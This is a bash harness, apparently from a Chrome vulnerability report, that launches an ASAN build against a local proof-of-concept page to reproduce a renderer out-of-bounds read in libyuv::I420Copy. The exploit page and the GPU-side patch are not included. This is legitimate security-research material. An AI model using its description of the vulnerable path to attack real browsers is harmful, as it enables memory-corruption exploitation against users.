#!/bin/bash
# Run the POC against an ASAN build of Chrome.
#
# The Chrome binary at out/asan/chrome must include the GPU-side injection
# patch (chromium-changes.patch) applied to
#   components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc
# which simulates a compromised GPU/viz process. No browser- or renderer-
# process code is modified.
#
# The OOB read fires in the *renderer* process, inside libyuv::I420Copy
# called from WebMediaPlayerMSCompositor::ReplaceCurrentFrameWithACopy.

set -x

CHROME=/chromium/chromium/src/out/asan/chrome
PROFILE=/tmp/chrome-poc-profile-$$
URL=http://127.0.0.1:8765/poc.html

rm -rf "$PROFILE"

SYMBOLIZER=/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer
export ASAN_OPTIONS="detect_odr_violation=0:handle_segv=1:handle_sigbus=1:handle_abort=1:handle_sigill=1:symbolize=1:detect_container_overflow=0:external_symbolizer_path=$SYMBOLIZER"
export ASAN_SYMBOLIZER_PATH="$SYMBOLIZER"

# Flag rationale:
#   --no-sandbox:                  required by this Linux container (no
#                                  unprivileged userns); does not affect the
#                                  IPC trust boundary being exercised.
#   --disable-dev-shm-usage:       small /dev/shm in container; environment
#                                  flag, no effect on the vulnerable path.
#   --auto-accept-this-tab-capture: testing flag that auto-clicks "Share" in
#                                  the getDisplayMedia({preferCurrentTab})
#                                  dialog; equivalent to a user click.
#   --disable-in-process-stack-traces / --disable-breakpad: let ASAN, not
#                                  Chrome's own crash handler, report the
#                                  renderer SEGV.
timeout 40 "$CHROME" \
  --no-sandbox \
  --no-first-run \
  --no-default-browser-check \
  --disable-background-networking \
  --disable-component-update \
  --disable-dev-shm-usage \
  --disable-in-process-stack-traces \
  --disable-breakpad \
  --noerrdialogs \
  --user-data-dir="$PROFILE" \
  --auto-accept-this-tab-capture \
  --enable-logging=stderr \
  --v=0 \
  "$URL" 2>&1

rm -rf "$PROFILE"